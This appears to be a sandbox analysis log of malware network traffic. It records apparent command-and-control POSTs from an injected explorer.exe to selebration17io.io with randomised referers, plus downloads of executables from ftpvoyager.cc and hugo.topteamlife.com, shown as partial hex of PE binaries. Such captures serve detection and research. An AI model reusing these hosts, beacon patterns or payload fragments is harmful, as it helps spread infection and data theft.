01 f0 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 11 20 b2 7d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 54 a3 c7 1d 33 7a b8 2b 96 7b cc dc 02 eb 67 c2 91 30 b5 82 cf f0 f5 c2 f3 ea 94 09 cb d3 61 1a 13 c8 90 4a 4b 0b 07 b3 02 8e c1 b3 21 89 31 a2 49 fb 3b 12 03 2e 4d b1 04 61 38 62 28 8b e5 37 8d 2c ce f9 82 a4 2c 02 61 df f8 81 55 Data Ascii: 1f66`@0,xO}q4 IJ%9Wd8IkDJ8P>5%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGr_={g4yXD<`k>\Tnm~;eE@AVq^7pW):sB4]wyY^N#~<H2u"Gu;zT{}Dz]N-ma%Qa>\|h(I`n/a\F$1l)\|J~qhJO;y7lNuR0.pu1yr;Ls1<'iFHW&hU@Wd{9f(.B#T>fd0QpKk_pVTU/)2([T&7WL\h),^[}>C}ty@mCfz+z(Fk@7@RHh8M?~MpCXn%.G5_@CUb:@/JkSu2wRSk SRW;}B.'<BV`3'NxA_&xm\22B9G }TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=T3z+{g0aJK!1I;.Ma8b(7,,aU
Jan 7, 2024 05:30:00.265594006 CET	284	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gbiinvopfmdt.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 135 Host: selebration17io.io
Jan 7, 2024 05:30:00.476377010 CET	604	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sun, 07 Jan 2024 04:30:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Jan 7, 2024 05:30:00.749524117 CET	286	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://slivtqoptwvrgq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 142 Host: selebration17io.io
Jan 7, 2024 05:30:00.960870028 CET	234	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sun, 07 Jan 2024 04:30:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 65 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1b 81 01 c7 5b cb f7 07 a6 3b bf 29 46 16 31 e4 76 4b 6d 82 5c 2c 13 37 c1 a5 94 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eUys/~(`:[;)F1vKm\,70
Jan 7, 2024 05:30:07.315685987 CET	283	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ueeebefwwpm.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 285 Host: selebration17io.io
Jan 7, 2024 05:30:07.527610064 CET	604	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sun, 07 Jan 2024 04:30:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Jan 7, 2024 05:30:07.595432043 CET	288	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fcgipjpvvtltjpvp.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 137 Host: selebration17io.io
Jan 7, 2024 05:30:07.807806015 CET	242	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sun, 07 Jan 2024 04:30:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 36 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 15 80 16 de 1a c6 f9 10 b7 2c f0 27 49 50 31 f5 28 07 6b 81 17 26 19 7d d4 bf cb a8 c0 27 91 28 2f 40 35 0d 0a 30 0d 0a 0d 0a Data Ascii: 36Uys/~(`:,'IP1(k&}'(/@50

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49771	91.104.83.7	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:04.854701042 CET	164	OUT	GET /ftp/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: ftpvoyager.cc
Jan 7, 2024 05:30:05.175225019 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 07 Jan 2024 04:30:05 GMT Content-Type: application/octet-stream Connection: close Content-Description: File Transfer Content-Disposition: attachment; filename=0c5f04c7.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 28 38 65 ec 6c 59 0b bf 6c 59 0b bf 6c 59 0b bf 72 0b 9e bf 7d 59 0b bf 72 0b 88 bf 3e 59 0b bf 72 0b 8f bf 48 59 0b bf 4b 9f 70 bf 6b 59 0b bf 6c 59 0a bf 0b 59 0b bf 72 0b 81 bf 6d 59 0b bf 72 0b 9f bf 6d 59 0b bf 72 0b 9a bf 6d 59 0b bf 52 69 63 68 6c 59 0b bf 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a9 36 85 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 64 02 00 00 7a 02 00 00 00 00 00 23 22 00 00 00 10 00 00 00 80 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 9e 60 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc b6 02 00 50 00 00 00 00 a0 03 00 b8 7d 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 aa 02 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 02 00 a8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d1 62 02 00 00 10 00 00 00 64 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 40 00 00 00 80 02 00 00 42 00 00 00 68 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 97 00 00 00 d0 02 00 00 86 00 00 00 aa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 a1 01 00 00 00 70 03 00 00 02 00 00 00 30 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 69 64 6f 78 00 00 0c 00 00 00 00 80 03 00 00 02 00 00 00 32 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7a 6f 70 65 00 00 00 41 02 00 00 00 90 03 00 00 04 00 00 00 34 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 7d 01 00 00 a0 03 00 00 7e 01 00 00 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$(8elYlYlYr}Yr>YrHYKpkYlYYrmYrmYrmYRichlYPEL6ddz#"@ `P}H.textbd `.rdata@Bh@@.data\|@.tlsp0@.fidox2@.zopeA4@.rsrc}~8@@
Jan 7, 2024 05:30:05.175288916 CET	1286	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 8d 44 24 08 50 8b f1 e8 fc 0a 00 00 c7 06 e4 81 42 00 8b Data Ascii: VD$PB^BVBD$tVY^D$L$D$P@u+UuuuuE]UuuuuE]jrB`uB
Jan 7, 2024 05:30:05.405513048 CET	1286	IN	Data Raw: 73 15 8b 46 14 3b f8 73 02 8b c7 50 6a 01 8b ce e8 24 fe ff ff eb 0c 85 ff 75 08 57 8b ce e8 93 ff ff ff 33 c0 3b c7 1b c0 5f f7 d8 5e c2 08 00 8b c1 c2 04 00 ff 74 24 04 e8 51 09 00 00 59 c2 08 00 ff 74 24 04 e8 d8 01 00 00 59 c2 04 00 6a 44 b8 Data Ascii: sF;sPj$uW3;_^t$QYt$YjD&rBhBMkeEPM`hBEPEBfjtYt03j[Yt$YVt$B^jXj\rB}u
Jan 7, 2024 05:30:05.405605078 CET	1286	IN	Data Raw: 00 8d 45 d8 50 8d 4d b0 e8 c9 fe ff ff 68 50 ae 42 00 8d 45 b0 50 e8 d2 08 00 00 cc 8b ff 55 8b ec 56 ff 75 08 8b f1 e8 67 f7 ff ff c7 06 fc 81 42 00 8b c6 5e 5d c2 04 00 8b ff 55 8b ec 56 ff 75 08 8b f1 e8 4a f7 ff ff c7 06 14 82 42 00 8b c6 5e Data Ascii: EPMhPBEPUVugB^]UVuJB^];BuUEVW3;tG9}u1j^0WWWWW)9}t9Esj"YPuu3_^]UEV3;uVVVVVG3@
Jan 7, 2024 05:30:05.405706882 CET	1286	IN	Data Raw: 8b f1 eb ad 6a 16 58 5f 5e 5d c3 8b ff 55 8b ec ff 75 08 51 e8 4c 2c 00 00 59 59 5d c2 04 00 8b ff 51 c7 01 a4 82 42 00 e8 2d 2d 00 00 59 c3 8b ff 55 8b ec 56 8b f1 e8 e3 ff ff ff f6 45 08 01 74 07 56 e8 3b ff ff ff 59 8b c6 5e 5d c2 04 00 8b ff Data Ascii: jX_^]UuQL,YY]QB--YUVEtV;Y^]UuQ-YY]Q,YUEQP.YY@]UEQP.YY]UEQP.YY3]ABVjhB
Jan 7, 2024 05:30:05.405827999 CET	1286	IN	Data Raw: ff 70 18 e8 df 42 00 00 83 c4 10 5d c2 04 00 8b ff 55 8b ec 56 fc 8b 75 0c 8b 4e 08 33 ce e8 27 f6 ff ff 6a 00 56 ff 76 14 ff 76 0c 6a 00 ff 75 10 ff 76 10 ff 75 08 e8 b4 52 00 00 83 c4 20 5e 5d c3 8b ff 55 8b ec 83 ec 38 53 81 7d 08 23 01 00 00 Data Ascii: pB]UVuN3'jVvvjuvuR ^]U8S}#u$@M3@eE$@BM3EEEEEEEE EeeeemdEEdEEEEE7=EEPE0UYYe}t
Jan 7, 2024 05:30:05.636045933 CET	1286	IN	Data Raw: 4f 00 00 59 6a 00 ff 15 b8 80 42 00 68 d0 82 42 00 ff 15 b4 80 42 00 83 3d 70 56 43 00 00 75 08 6a 01 e8 95 4f 00 00 59 68 09 04 00 c0 ff 15 b0 80 42 00 50 ff 15 ac 80 42 00 c9 c3 cc cc cc cc 55 8b ec 57 56 8b 75 0c 8b 4d 10 8b 7d 08 8b c1 8b d1 Data Ascii: OYjBhBB=pVCujOYhBPBUWVuM};v;r=$fCtWV;^_u^_]Our$@r$)@$@$(@)@)@*@#FGFG
Jan 7, 2024 05:30:05.636105061 CET	1286	IN	Data Raw: 59 43 00 e8 6c 31 00 00 59 c3 8b ff 55 8b ec 5d e9 99 fe ff ff 8b ff 55 8b ec ff 35 44 59 43 00 e8 4f 31 00 00 59 85 c0 74 03 5d ff e0 6a 02 e8 82 4a 00 00 59 5d e9 73 fe ff ff 33 c0 50 50 50 50 50 e8 ce ff ff ff 83 c4 14 c3 8b ff 55 8b ec 5d e9 Data Ascii: YCl1YU]U5DYCO1Yt]jJY]s3PPPPPU]UE3;BtA-rHwjX]B]DjY;#]2uHB2uLBUVMQY0^]U2ujX]
Jan 7, 2024 05:30:05.636177063 CET	1286	IN	Data Raw: 89 7d e4 33 db 39 1d 48 59 43 00 75 18 e8 5c 23 00 00 6a 1e e8 84 21 00 00 68 ff 00 00 00 e8 4e 1e 00 00 59 59 8b 75 08 8d 34 f5 58 d2 42 00 39 1e 74 04 8b c7 eb 6e 6a 18 e8 4d 48 00 00 59 8b f8 3b fb 75 0f e8 48 fb ff ff c7 00 0c 00 00 00 33 c0 Data Ascii: }39HYCu\#j!hNYYu4XB9tnjMHY;uH3QjYY]9u,hWGYYuW#Y]>WYEEjYUEV4XB>uP"YujBY6B^]=HYCu3
Jan 7, 2024 05:30:05.637690067 CET	1286	IN	Data Raw: 04 83 6d 08 14 a1 60 67 43 00 a3 68 67 43 00 8b 45 08 a3 a0 5a 43 00 89 3d 70 67 43 00 5b 5f 5e c9 c3 a1 6c 67 43 00 56 8b 35 5c 67 43 00 57 33 ff 3b f0 75 34 83 c0 10 6b c0 14 50 ff 35 60 67 43 00 57 ff 35 48 59 43 00 ff 15 e0 80 42 00 3b c7 75 Data Ascii: m`gChgCEZC=pgC[_^lgCV5\gCW3;u4kP5`gCW5HYCB;u3xlgC5\gC`gCk5`gChAj5HYCBF;tjh hWBF;uvW5HYCBN>~\gCF_^UQQMASVqW3C}i
Jan 7, 2024 05:30:05.637757063 CET	1286	IN	Data Raw: 43 00 83 a4 88 c4 00 00 00 00 a1 a0 5a 43 00 8b 40 10 fe 48 43 a1 a0 5a 43 00 8b 48 10 80 79 43 00 75 09 83 60 04 fe a1 a0 5a 43 00 83 78 08 ff 75 48 83 3d 5c 67 43 00 01 7e 3f ff 70 10 6a 00 ff 35 48 59 43 00 ff 15 10 80 42 00 8b 0d 5c 67 43 00 Data Ascii: CZC@HCZCHyCu`ZCxuH=\gC~?pj5HYCB\gCZCk`gC+LQHQP\gC%ZCU`gC8S3;u9\gCVWU]kB;gJMDMJM]]]uj@39]Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49775	104.21.26.173	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:08.085190058 CET	172	OUT	GET /order/tuc5.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: hugo.topteamlife.com
Jan 7, 2024 05:30:08.382399082 CET	769	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:30:08 GMT Content-Type: application/octet-stream Content-Length: 4707351 Connection: keep-alive Content-Description: File Transfer Content-Disposition: attachment; filename=tuc5.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=cwLkSOC1eCbvHLeH5E4x25Ob46oZUs4bkGmgyG94efD9UnG%2B2yjgsU%2F%2B1gKOsiGqrsSS8VOKej1jZc0TUtR3uSvRWzvoe6ArSuPKf731vw0XNElUxhKF6vGSnbAQDo5QZvGGN1lxgw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 841976b4dadf32d3-EWR alt-svc: h3=":443"; ma=86400
Jan 7, 2024 05:30:08.382443905 CET	1286	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 Data Ascii: MZP@!L!This program must be run under Win32$7
Jan 7, 2024 05:30:08.382489920 CET	1286	IN	Data Raw: 6f 64 41 64 64 72 65 73 73 11 00 3c 2a 40 00 0a 4d 65 74 68 6f 64 4e 61 6d 65 13 00 78 2a 40 00 0c 46 69 65 6c 64 41 64 64 72 65 73 73 15 00 c4 29 40 00 0e 44 65 66 61 75 6c 74 48 61 6e 64 6c 65 72 12 00 ac 28 40 00 0b 4e 65 77 49 6e 73 74 61 6e Data Ascii: odAddress<@MethodNamex@FieldAddress)@DefaultHandler(@NewInstance(@FreeInstanceTObject@@% @%@%@%@%@%@%@%(@%@%@%@%@%@%@%@%@
Jan 7, 2024 05:30:08.382596970 CET	1286	IN	Data Raw: 08 8b 7e 0c 03 fb 3b eb 76 02 8b dd 3b 7c 24 08 76 04 8b 7c 24 08 3b fb 76 1e 6a 04 68 00 10 00 00 2b fb 57 53 e8 26 fc ff ff 85 c0 75 0a 8b 44 24 04 33 d2 89 10 eb 0a 8b 36 81 fe 3c c4 40 00 75 bc 83 c4 0c 5d 5f 5e 5b c3 8b c0 53 56 57 55 51 8b Data Ascii: ~;v;\|$v\|$;vjh+WS&uD$36<@u]_^[SVWUQ4$$+$A5<@8^~;$s$;s;vh@+WSu@6<@uZ]_^[@SVWUL@?]3;{,
Jan 7, 2024 05:30:08.382704020 CET	1286	IN	Data Raw: c3 90 8b 15 78 c4 40 00 eb 10 8b 4a 08 3b c1 72 07 03 4a 0c 3b c1 72 16 8b 12 81 fa 78 c4 40 00 75 e8 c7 05 18 c4 40 00 03 00 00 00 33 d2 8b c2 c3 90 53 8b ca 83 e9 04 8d 1c 01 83 fa 10 7c 0f c7 03 07 00 00 80 8b d1 e8 a1 01 00 00 5b c3 83 fa 04 Data Ascii: x@J;rJ;rx@u@3S\|[\|[@@\|\| SVt@+3t@
Jan 7, 2024 05:30:08.382774115 CET	1286	IN	Data Raw: 58 f2 ff ff 83 c3 07 83 e3 fc 83 fb 0c 7d 05 bb 0c 00 00 00 81 fb 00 10 00 00 0f 8f 93 00 00 00 8b c3 85 c0 79 03 83 c0 03 c1 f8 02 8b 15 74 c4 40 00 8b 54 82 f4 85 d2 74 79 8b ca 8b c1 03 c3 83 20 fe 8b 42 04 3b d0 75 1a 8b c3 85 c0 79 03 83 c0 Data Ascii: X}yt@Tty B;uy5t@3\|&y=t@D2uuFu0RE@@;l@J)l@=l@}l@3l@p@p@E
Jan 7, 2024 05:30:08.382837057 CET	1286	IN	Data Raw: fd ff ff 84 c0 74 05 89 5d fc eb 37 8b c6 e8 a3 fa ff ff 8b f8 8b c3 83 e8 04 8b 00 25 fc ff ff 7f 83 e8 04 3b f0 7d 02 8b c6 85 ff 74 12 8b c8 8b d7 8b c3 e8 2d 01 00 00 8b c3 e8 fe fb ff ff 89 7d fc 33 c0 5a 59 59 64 89 10 68 89 25 40 00 80 3d Data Ascii: t]7%;}t-}3ZYYdh%@=2@th@uE_^[Y]t@tjt@uRt2tP@Yt.@utP@Yt
Jan 7, 2024 05:30:08.382908106 CET	1286	IN	Data Raw: 8a 5c 0e 06 32 1c 0a 80 e3 df 75 ee 49 75 f1 8b 46 02 5f 5e 5b c3 8b c0 53 56 57 89 cf 31 db 31 c9 8b 70 dc 85 f6 74 13 66 8b 0e 83 c6 02 3b 56 02 74 13 66 8b 1e 01 de 49 75 f3 8b 40 ec 85 c0 75 df 88 07 eb 0a 83 c6 06 31 c9 8a 0e 41 f3 a4 5f 5e Data Ascii: \2uIuF_^[SVW11ptf;VtfIu@u1A_^[SVW11Pptf>N8ttOu@uZN\2uIuZ_^[RQSP1L$diA*@Ad[YZD$,@&R=@vj
Jan 7, 2024 05:30:08.383018017 CET	784	IN	Data Raw: 90 00 00 00 00 8b 0a 89 88 00 00 00 00 8b 42 08 e8 e5 f9 ff ff 5a 8b 64 24 2c 31 c0 59 64 89 08 58 5d e8 7b fc ff ff ff e2 c3 31 d2 8b 4c 24 08 8b 44 24 04 83 c1 05 64 89 02 ff d1 c2 0c 00 c3 8b c0 89 14 24 e9 cd 0e 00 00 c3 8d 40 00 55 8b ec 8b Data Ascii: BZd$,1YdX]{1L$D$d$@UU=,t\=tW-t\-t=HtN`q?r6t0R=t=-t.HtHt$:-t/=t&,*&"%RX]D$
Jan 7, 2024 05:30:08.501636028 CET	1286	IN	Data Raw: 10 85 d2 74 13 8b 4a f8 49 7c 0d 89 4a f8 75 08 8d 42 f8 e8 5a f3 ff ff c3 90 85 c0 7e 1c 50 83 c0 09 e8 33 f3 ff ff 83 c0 08 5a 89 50 fc c7 40 f8 01 00 00 00 c6 04 10 00 c3 31 c0 c3 90 53 56 57 89 c3 89 d6 89 cf 89 f8 e8 cc ff ff ff 89 f9 89 c7 Data Ascii: tJI\|JuBZ~P3ZP@1SVWt;_^[RZ1B1t!R:t:Jt:Jt:JtBBBZ)@t@t?SVWyV9tNT
Jan 7, 2024 05:30:08.501678944 CET	1286	IN	Data Raw: ee ff ff c3 b0 10 e9 c9 ee ff ff c3 31 d2 66 8b 10 f7 c2 00 40 00 00 75 1a 83 fa 08 72 15 81 fa 00 01 00 00 75 13 66 c7 00 00 00 83 c0 08 e9 25 fa ff ff 66 c7 00 00 00 c3 50 e8 b5 da ff ff c3 39 d0 74 6c 66 83 38 08 72 1b 50 52 66 81 38 00 01 74 Data Ascii: 1f@uruf%fP9tlf8rPRf8tPZXf:sJHJHf:uRtJA~JfPfRPTT@USVWf;u;fEWjhVEP"t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49783	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2024 05:30:27.080060959 CET	287	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bgipahlogkotrrb.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 354 Host: selebration17io.io
